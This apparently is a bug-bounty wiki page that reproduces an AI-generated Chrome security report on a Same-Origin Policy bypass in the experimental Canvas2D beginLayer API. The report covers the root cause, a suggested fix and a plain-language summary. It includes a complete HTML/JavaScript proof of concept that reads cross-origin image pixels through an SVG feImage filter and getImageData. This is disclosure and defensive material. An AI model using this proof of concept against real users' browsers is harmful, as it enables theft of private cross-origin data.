Information leak in Canvas (CVE-2026-78987)
The experimental Canvas2D beginLayer API applies SVG filters without checking if the filter graph is origin-tainted, so a cross-origin image loaded via an feImage filter is rasterised into the canvas while the canvas remains origin-clean. An attacker can then extract the cross-origin pixels using getImageData, toDataURL, or toBlob.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 4 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: The experimental Canvas2D beginLayer API applies filters but fails to check if the resulting filter graph is origin-tainted. An attacker can use an SVG <feImage> filter to render a cross-origin image onto the canvas, which fails to taint the canvas origin and allows the pixels to be extracted via getImageData().
Affected files:
third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc
Estimated timestamp from git blame: 2024-08-22
Summary
A potential Same-Origin Policy (SOP) bypass exists in the experimental beginLayer API for Canvas2D. The implementation applies filter effects to the canvas layer but fails to check if those filters contain cross-origin data. This allows an attacker to read cross-origin image data via getImageData(), bypassing the Same-Origin Policy.
Technical Description
In third_party/blink/renderer/modules/canvas/canvas2d/canvas_2d_recorder_context.cc, the beginLayerImpl function resolves a filter option into a FilterEffect graph. This graph is immediately converted to a cc::PaintFilter and applied to the layer. However, the code fails to check if the resulting filter graph is origin-tainted.
// canvas_2d_recorder_context.cc : Canvas2DRecorderContext::beginLayerImpl
479: filter = paint_filter_builder::Build(
480: filter_effect_builder.BuildFilterEffect(std::move(filter_operations),
481: !OriginClean()),
482: kInterpolationSpaceSRGB);
The FilterEffect* returned by BuildFilterEffect contains an OriginTainted() flag. For comparison, the standard ctx.filter implementation in CanvasRenderingContext2DState::GetFilter() correctly checks this flag and taints the canvas:
// canvas_rendering_context_2d_state.cc : CanvasRenderingContext2DState::GetFilter
624: if (last_effect->OriginTainted())
625: context->SetOriginTainted();
Because beginLayerImpl neglects to call SetOriginTainted() on the context, the canvas's OriginClean flag remains true.
An attacker can exploit this by passing an SVG filter (url(#f)) to beginLayer. If the SVG filter uses an <feImage> element pointing to a cross-origin URL, the image is fetched in kNoCors mode. SVGFEImageElement::TaintsOrigin() correctly identifies this and taints the internal FilterEffect graph. However, because beginLayerImpl ignores the tainted status, the cross-origin pixels are rasterized into the canvas backing store when endLayer() is called, while the canvas remains "clean". The attacker can then use getImageData(), toDataURL(), or toBlob() to extract the sensitive cross-origin pixel data.
Potential Steps to Reproduce
Note: Our tooling agent does not have the ability to run code, but the following steps are highly likely to reproduce the issue.
- Launch Chrome with
--enable-experimental-web-platform-featuresor enable the#canvas-2d-layersflag. - Host a page with the following HTML/JS on an attacker-controlled origin:
<svg width="0" height="0">
<filter id="f" x="0" y="0" width="100%" height="100%">
<feImage href="https://victim.example/authenticated-image.png" width="300" height="150"/>
</filter>
</svg>
<canvas id="c" width="300" height="150"></canvas>
<script>
const c = document.getElementById('c');
const ctx = c.getContext('2d');
// Wait for the cross-origin image to load, then:
setTimeout(() => {
ctx.beginLayer({filter: 'url(#f)'});
ctx.fillRect(0, 0, 1, 1); // Triggers layer application
ctx.endLayer();
try {
const data = ctx.getImageData(0, 0, c.width, c.height);
console.log("Pixels extracted successfully:", data.data);
} catch (e) {
console.log("Caught SecurityError:", e);
}
}, 1000);
</script>
Suggested Fix
Update Canvas2DRecorderContext::beginLayerImpl() to capture the FilterEffect* returned by BuildFilterEffect. Check its OriginTainted() status, and call SetOriginTainted() on the context if the filter is tainted:
FilterEffect* filter_effect = filter_effect_builder.BuildFilterEffect(
std::move(filter_operations), !OriginClean());
if (filter_effect && filter_effect->OriginTainted()) {
SetOriginTainted();
}
filter = paint_filter_builder::Build(filter_effect, kInterpolationSpaceSRGB);
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the beginLayerImpl function builds a filter effect graph but never checks its OriginTainted flag or calls SetOriginTainted on the canvas context, unlike the standard ctx.filter path.
Impact
An attacker could read cross-origin image pixels that the victim's browser has access to, bypassing the Same-Origin Policy, but only in Chrome with experimental canvas layer features enabled.
What the attacker needed
Chrome with experimental canvas layers enabled; Victim visits attacker-controlled page; Cross-origin image accessible to victim
The fix
The beginLayerImpl function should check the OriginTainted flag of the built filter effect and call SetOriginTainted on the context if it is tainted.
How it was found
- Launch Chrome with the experimental canvas layers feature enabled.
- Host a page on an attacker-controlled origin containing an SVG filter with an feImage element pointing to a cross-origin image, plus a canvas element.
- Wait for the cross-origin image to load, then call beginLayer with the SVG filter, draw a rectangle, and call endLayer.
- Call getImageData on the canvas to attempt to read the cross-origin pixels.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Web pages are normally not allowed to read pixels from images hosted on other sites, because that would let a malicious site steal private pictures or data. This report found that a new drawing feature in Chrome forgot to mark the canvas as 'dirty' after pulling in an image from another site, so the page could still read those pixels. The fix is to mark the canvas as tainted whenever such a filter is used.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.